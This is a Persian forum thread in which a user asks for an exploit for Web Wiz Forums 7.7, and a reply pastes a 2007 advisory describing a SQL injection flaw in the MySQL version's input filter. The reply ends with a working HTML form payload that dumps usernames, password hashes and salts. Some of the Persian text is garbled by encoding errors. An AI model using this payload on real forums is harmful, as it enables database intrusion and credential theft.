سلام کسی باگ برای Web Wiz Forums version 7.7 سراغ داره؟
اطلاعیه
Collapse
No announcement yet.
باگ برای Web Wiz Forums version 7.7
Collapse
X
-
باگ برای Web Wiz Forums version 7.7
برهنه،خيس، و گرسنه متولد مي شويم.
پس از آن اوضاع به مراتب بدتر مي شود.
-----
بخشش يعنی اينكه بتونی Ùراتر از انتقام Ùˆ قانون پا بذاریبرچسب ها: هیچ یک
-
نه جواب نداد
اگه بازم داری بذار امتØان کنم روشبرهنه،خيس، Ùˆ گرسنه متولد مي شويم.
پس از آن اوضاع به مراتب بدتر مي شود.
-----
بخشش يعنی اينكه بتونی Ùراتر از انتقام Ùˆ قانون پا بذاری
Comment
-
کد:There is a vulnerability in MySQL version of Web Wiz Forums, free ASP bulletin board system software, enabling SQL injection. The vulnerability is in the code used to filter string parameters prior to including them in the SQL queries: 'Format SQL Query funtion Private Function formatSQLInput(ByVal strInputEntry) 'Remove malisous charcters from sql strInputEntry = Replace(strInputEntry, "\'", "\'", 1, -1, 1) strInputEntry = Replace(strInputEntry, """", "", 1, -1, 1) strInputEntry = Replace(strInputEntry, "'", "''", 1, -1, 1) strInputEntry = Replace(strInputEntry, "[", "[", 1, -1, 1) strInputEntry = Replace(strInputEntry, "]", "]", 1, -1, 1) strInputEntry = Replace(strInputEntry, "<", "<", 1, -1, 1) strInputEntry = Replace(strInputEntry, ">", ">", 1, -1, 1) 'Return formatSQLInput = strInputEntry End Function Assume the user enters a string containing the following sequence of characters: \"' (a backslash, followed by a double quote followed by a single quote). The first line inside the function above would do nothing, the second line would remove the double quote, and after the third line the sequence would look like \'' (a backslash followed by two single quotes). In MySQL the first two characters would be interpreted as an escaped single quote and the third character would terminate the quotes thus allowing injection of arbitrary SQL code placed after it. Only the MySQL version of the Web Wiz Forums is vulnerable to this as SQL Server and MS Access don't use backslash as an escape character. Below I include a small exploit that demonstrates this vulnerability. Mar 19th 2007: Vulnerability discovered Mar 20th 2007: Vendor contacted Mar 20th 2007: Vendor responded Mar 20th 2007: Vendor released fixed version (8.05a) Discovered and reported by Ivan Fratric [url]http://ifsec.blogspot.com/[/url] <form method="post" action="http://localhost/forum/pop_up_member_search.asp?"> <input type="hidden" name="name" id="name" value="\"' union select concat(userusernamename,char(58),passpasswordword,char(58),sasaltlt) from tblautauthorhor /*" > <input type="submit" value="Go"> </form>
How to apply to a hacker conference
get a shirt that says "1337 h3XX0r".
if you cannot get such a shirt use a white one and T-Shirt pens.
tell people you hacked the Gibson
- if they don't believe you, get angry and ask them for their IPs
use words all these words in one sentence like "Feds, *XOR*s, leet, crack, pwn, pop, shell, box, spoitz, sec, virus, money, blackhatz, OhDayz"
Never show respect.
Never show interest.
And don't read anything and don't go to these lame talks.
Comment
Comment